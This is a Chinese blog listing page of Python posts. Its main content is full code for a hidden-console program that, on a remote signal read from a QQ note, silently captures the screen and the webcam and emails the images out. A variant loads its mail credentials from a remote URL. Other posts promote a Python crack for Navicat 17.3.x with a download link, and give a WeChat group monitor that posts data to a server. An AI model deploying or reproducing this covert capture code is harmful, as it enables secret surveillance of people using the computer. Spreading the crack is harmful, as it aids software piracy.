首页
壁纸
友链
推荐
Windows系统激活
Search
1
QQ9.7.20永久禁止(QQ/NT)自动更新
28 阅读
2
DnF台服:账号任务实现演示
27 阅读
3
如何查询微信是被谁举报投诉的?
19 阅读
4
Centos系统还原官方yum源
18 阅读
5
DNF台服:新职业转职变更卷
17 阅读
闲言碎语
运维笔记
教程笔记
网站源码
其他源码
值得一看
DNF台服
登录
/
注册
Search
Gcn
累计撰写
53
篇文章
累计收到
0
条评论
首页
栏目
闲言碎语
运维笔记
教程笔记
网站源码
其他源码
值得一看
DNF台服
页面
壁纸
友链
推荐
Windows系统激活
搜索到
5
篇与
的结果
2026-02-11
Python电脑远程拍照并发送到邮箱
PyAutoGUI库安装pip install PyAutoGUIcv2库安装pip install opencv-pythonpython代码:import ctypes import sys import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.image import MIMEImage from email.header import Header import pyautogui import os import cv2 import socket import time import requests from bs4 import BeautifulSoup # 隐藏控制台窗口(仅限Windows) if sys.platform.startswith('win'): SW_HIDE = 0 info = ctypes.windll.kernel32.GetConsoleWindow() if info != 0: ctypes.windll.user32.ShowWindow(info, SW_HIDE) # 邮件配置信息 sender_receiver = 'xxx@qq.com' smtp_info = { 'server': 'smtp.qq.com', 'port': 465, # 使用SSL 'username': 'xxx@qq.com', # 替换为你的邮箱 'password': '邮箱授权码', # 替换为你的邮箱密码或授权码 } # 邮件内容设置 subject = '有人打开了你的电脑' body = '您的电脑已被开启,并有摄像头记录,请留意。' # 图片保存路径 screenshot_path = "D:\\screenshot.jpg" camera_capture_path = "D:\\screenshot.jpg" # 网址和监控的值 url = "https://sharechain.qq.com/179b6e05f189dd04e984771f3f85ca09" # 替换为你的qq收藏里文本连接 target_value = "1" #数值 1的时候拍照2的时候不拍照(这是qq收藏笔记里面的标题数值) last_value = None def capture_screenshot(path): """捕获屏幕截图并保存""" pyautogui.screenshot(path) print(f"屏幕截图已保存至{path}") def capture_image_from_camera(path): """使用摄像头捕获单帧图像并保存""" cap = cv2.VideoCapture(0) if cap.isOpened(): ret, frame = cap.read() cap.release() if ret: cv2.imwrite(path, frame) print(f"摄像头图像已保存至{path}") else: print("捕获图像失败") else: print("无法打开摄像头") def send_email_with_attachments(screenshot_path, camera_capture_path): """发送带有附件的邮件""" msg = MIMEMultipart() msg['From'] = Header(sender_receiver) msg['To'] = Header(sender_receiver) msg['Subject'] = Header(subject) msg.attach(MIMEText(body, 'plain', 'utf-8')) # 添加附件 for path in [screenshot_path, camera_capture_path]: with open(path, 'rb') as file: part = MIMEImage(file.read(), name=os.path.basename(path)) msg.attach(part) try: with smtplib.SMTP_SSL(smtp_info['server'], smtp_info['port']) as server: server.login(smtp_info['username'], smtp_info['password']) server.sendmail(sender_receiver, sender_receiver, msg.as_string()) server.quit() print("邮件发送成功,包含屏幕截图及摄像头捕捉图像!") except Exception as e: print(f"邮件发送失败: {e}") def is_connected(): """检查网络连接""" try: socket.create_connection(('8.8.8.8', 53), 2) # 设置超时时间为2秒 return True except OSError: return False def check_url(): """检查网址内容""" global last_value try: response = requests.get(url, timeout=5) # 设置超时时间为5秒 if response.status_code == 200: soup = BeautifulSoup(response.text, 'html.parser') info_div = soup.find('div', class_='info') if info_div: span_text = info_div.find('span', class_='tit').text.strip() print(f"网页内容识别结果:{span_text}") if span_text == f"【{target_value}】" and span_text != last_value: last_value = span_text return True else: print("未识别") return False else: print("网页内容未找到") return False except requests.RequestException as e: print(f"请求错误:{e}") return False def main(): global last_value last_value = None while True: if check_url(): capture_screenshot(screenshot_path) capture_image_from_camera(camera_capture_path) print("等待网络连接...") if not is_connected(): print("网络连接失败,请检查您的网络设置。") time.sleep(60) # 如果网络连接失败,等待60秒后重试 continue # 跳过本次循环 send_email_with_attachments(screenshot_path, camera_capture_path) # 可选:发送邮件后删除图片文件 os.remove(screenshot_path) os.remove(camera_capture_path) time.sleep(20) # 每20秒检查一次网址内容 if __name__ == "__main__": main()邮箱配置远程版:import ctypes import sys import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.image import MIMEImage from email.header import Header import pyautogui import os import cv2 import socket import time import requests from bs4 import BeautifulSoup # 隐藏控制台窗口(仅限Windows) if sys.platform.startswith('win'): SW_HIDE = 0 info = ctypes.windll.kernel32.GetConsoleWindow() if info != 0: ctypes.windll.user32.ShowWindow(info, SW_HIDE) # 从URL获取邮件配置信息 def get_email_config(): url = "http://yourdomain/data.txt" try: response = requests.get(url, timeout=5) response.raise_for_status() # 如果请求失败,抛出异常 lines = response.text.splitlines() config = { 'sender_receiver': lines[0].strip(), 'smtp_server': lines[1].strip(), 'smtp_port': int(lines[2].strip()), 'smtp_username': lines[3].strip(), 'smtp_password': lines[4].strip() } return config except requests.RequestException as e: print(f"请求邮件配置信息失败: {e}") return {} # 解析邮件配置信息 email_config = get_email_config() sender_receiver = email_config.get('sender_receiver', 'default_sender_receiver@qq.com') smtp_info = { 'server': email_config.get('smtp_server', 'smtp.qq.com'), 'port': email_config.get('smtp_port', 465), 'username': email_config.get('smtp_username', 'default_username@qq.com'), 'password': email_config.get('smtp_password', 'default_password') } subject = '有人打开了你的电脑' body = '您的电脑已被开启,并有摄像头记录,请留意。' # 图片保存路径 screenshot_path = "D:\\screenshot.jpg" camera_capture_path = "D:\\camera_capture.jpg" # 网址和监控的值 url_to_monitor = "https://sharechain.qq.com/179b6e05f189dd04e984771f3f85ca09" # 替换为你的qq收藏里文本连接 target_value = "1" #数值 1 的时候拍照,2 的时候不拍照(这是qq收藏笔记里面的标题数值) last_value = None def capture_screenshot(path): """捕获屏幕截图并保存""" pyautogui.screenshot(path) print(f"屏幕截图已保存至{path}") def capture_image_from_camera(path): """使用摄像头捕获单帧图像并保存""" cap = cv2.VideoCapture(0) if cap.isOpened(): ret, frame = cap.read() cap.release() if ret: cv2.imwrite(path, frame) print(f"摄像头图像已保存至{path}") else: print("捕获图像失败") else: print("无法打开摄像头") def send_email_with_attachments(screenshot_path, camera_capture_path): """发送带有附件的邮件""" msg = MIMEMultipart() msg['From'] = Header(sender_receiver) msg['To'] = Header(sender_receiver) msg['Subject'] = Header(subject) msg.attach(MIMEText(body, 'plain', 'utf-8')) # 添加附件 for path in [screenshot_path, camera_capture_path]: with open(path, 'rb') as file: part = MIMEImage(file.read(), name=os.path.basename(path)) msg.attach(part) try: with smtplib.SMTP_SSL(smtp_info['server'], smtp_info['port']) as server: server.login(smtp_info['username'], smtp_info['password']) server.sendmail(sender_receiver, sender_receiver, msg.as_string()) server.quit() print("邮件发送成功,包含屏幕截图及摄像头捕捉图像!") except Exception as e: print(f"邮件发送失败: {e}") def is_connected(): """检查网络连接""" try: socket.create_connection(('8.8.8.8', 53), 2) # 设置超时时间为2秒 return True except OSError: return False def check_url(): """检查网址内容""" global last_value try: response = requests.get(url_to_monitor, timeout=5) # 设置超时时间为5秒 if response.status_code == 200: soup = BeautifulSoup(response.text, 'html.parser') info_div = soup.find('div', class_='info') if info_div: span_text = info_div.find('span', class_='tit').text.strip() print(f"网页内容识别结果:{span_text}") if span_text == f"【{target_value}】" and span_text != last_value: last_value = span_text return True else: print("未识别") return False else: print("网页内容未找到") return False except requests.RequestException as e: print(f"请求错误:{e}") return False def main(): global last_value last_value = None while True: if check_url(): capture_screenshot(screenshot_path) capture_image_from_camera(camera_capture_path) print("等待网络连接...") if not is_connected(): print("网络连接失败,请检查您的网络设置。") time.sleep(60) # 如果网络连接失败,等待60秒后重试 continue # 跳过本次循环 send_email_with_attachments(screenshot_path, camera_capture_path) # 可选:发送邮件后删除图片文件 os.remove(screenshot_path) os.remove(camera_capture_path) time.sleep(20) // 每20秒检查一次网址内容 if __name__ == "__main__": main()
2026年02月11日
3 阅读
0 评论
0 点赞
2026-02-11
Python网页封装exe
import webview import os import sys from pathlib import Path def resource_path(relative): """ 路径兼容性处理(兼容打包和开发环境) """ try: base_path = sys._MEIPASS # PyInstaller 临时目录 except AttributeError: base_path = os.path.dirname(os.path.abspath(__file__)) return os.path.join(base_path, relative) def main(): # 先初始化窗口再启动事件循环 try: window = webview.create_window( "AI网页工具,右键保存图片!", "http://yourdomain", width=1200, height=800, confirm_close=True, text_select=True # 允许文本选择 ) # 延迟注入JS避免初始化冲突 window.events.loaded += lambda: window.evaluate_js(''' // 原下载相关JS代码已移除 ''') # 启动WebView(兼容模式) webview.start( gui="edgechromium" if sys.platform == 'win32' else None, # Windows专用引擎 debug=True, http_server=True, # 启用内置HTTP服务器 storage_path=os.path.join(os.getenv('USERPROFILE'), 'Downloads') ) except webview.errors.WebViewException as e: print(f"启动失败:{str(e)}") print("请确保已安装 Microsoft Edge WebView2 运行时") if __name__ == "__main__": main()封装命令:pyinstaller --onefile --windowed E:\HuaweiMoveData\Users\Administrator\Desktop\a.py
2026年02月11日
2 阅读
0 评论
0 点赞
2025-11-06
python之快手批量下载
想把喜欢的快手视频一次性存到本地。手动一个个保存太费时间?用 Python 就能轻松搞定批量下载!只需几行代码,借助接口解析与请求库,就能自动抓取视频资源、批量保存到本地,还能自定义存储路径和命名规则。无论是整理素材、备份收藏,还是做内容二次创作,都能高效完成,告别重复操作的繁琐~再也不用对着满屏视频点到手酸,用技术提升效率!代码回复可见隐藏内容,请前往内页查看详情
2025年11月06日
3 阅读
0 评论
0 点赞
2025-11-06
python代码破解navicat17.3.x
在github上看到一个python代码破解Navicat17.3.x经测试可以破解最新版的Navicat17.3.6,现分享给大家。navicat17.3 下载地址:{cloud title="navicat17_premium" type="default" url="https://www.123912.com/s/8i68Vv-MUOkv?pwd=npeX#" password="npeX"/}python源代码:隐藏内容,请前往内页查看详情
2025年11月06日
6 阅读
0 评论
0 点赞
2025-07-30
Python实现的微信进群检测(防骚扰、防捣乱、防同行)
摘要:为了监控捣乱者、骚扰者、同行等人群加入微信群,我写了一个监控,实时监控这个人有没有偷偷混进群,如果检测到,就给你手机发送通知。import uiautomation as automation import requests import time def send_results(results, url): payload = {"results": results} try: response = requests.post(url, json=payload) if response.status_code == 200: print("---检测结果已发送至服务器---") else: print(f"发送失败,状态码: {response.status_code}") except requests.RequestException as e: print(f"发送请求时发生错误: {e}") def get_filtered_controls_at_depth(control, target_depth, filter_strings, bypass_strings, current_depth=0, detected_controls=None): if detected_controls is None: detected_controls = set() results = [] try: if current_depth == target_depth: # 如果控件名称包含任何绕过字符串,则跳过该控件 if any(bypass_string in control.Name for bypass_string in bypass_strings): return results # 如果控件名称包含任何过滤字符串且该控件未被检测过,则添加到结果中 if any(filter_string in control.Name for filter_string in filter_strings) and control.Name not in detected_controls: # 只返回控件内容 results.append(control.Name) detected_controls.add(control.Name) except Exception as e: print(f"处理控件信息时发生错误: {e}") try: children = control.GetChildren() for child in children: results.extend(get_filtered_controls_at_depth(child, target_depth, filter_strings, bypass_strings, current_depth + 1, detected_controls)) except Exception as e: print(f"获取子控件时发生错误: {e}") return results def monitor_chat_window(target_depth, filter_strings, bypass_strings, interval, url): detected_controls = set() while True: try: # 获取名为 "ChatWnd" 的窗口 window = automation.WindowControl(ClassName="ChatWnd") if window.Exists(0, 0): results = get_filtered_controls_at_depth(window, target_depth, filter_strings, bypass_strings, detected_controls=detected_controls) # 打印结果 if results: for result in results: print(result) send_results(result, url) else: # 移除每次循环中输出的 "持续为您监控中..." pass except Exception as e: print(f"主循环中发生错误: {e}") send_results(f"主循环中发生错误: {e}", url) # 等待指定的时间间隔 time.sleep(interval) if __name__ == "__main__": # 配置参数 target_depth = 12 # 检测的控件的深度(这里是固定的检测进群记录就是深度12别修改) filter_strings = ["Gcn"] # 要检测的字符串 bypass_strings = ["移出了群聊"] # 要绕过检测的字符串 interval = 1 # 检测的频率(秒) url = "https://xxxxxxxxx" # 接收监控结果的URL try: print("持续为您监控中...") # 只输出一次 # 开始监控 monitor_chat_window(target_depth, filter_strings, bypass_strings, interval, url) except KeyboardInterrupt: print("检测程序被中断,正在退出...") # 发送中断信息到服务器 send_results("检测程序被中断", url) print("程序已退出")这段代码的主要功能是通过监控名为 “ChatWnd” 的窗口,检查控件的名称是否包含特定的过滤字符串,并将检测结果通过 HTTP POST 请求发送到指定的URL,其背后的原理是通过 Python uiautomation 这个库去读取微信电脑版界面的控件去解析到具体的信息。如何使用打开微信电脑版你要监控的群单独拉出来在代码中的【要检测的字符串】中配置你要检测的微信用户昵称配置接收通知的URLCMD运行python程序即可开始检测整个过程请保持你要监控的群是不关闭的状态(最小化是可以的)打开微信电脑版你要监控的群单独拉出来CMD运行python程序即可开始检测接收到通知
2025年07月30日
2 阅读
0 评论
0 点赞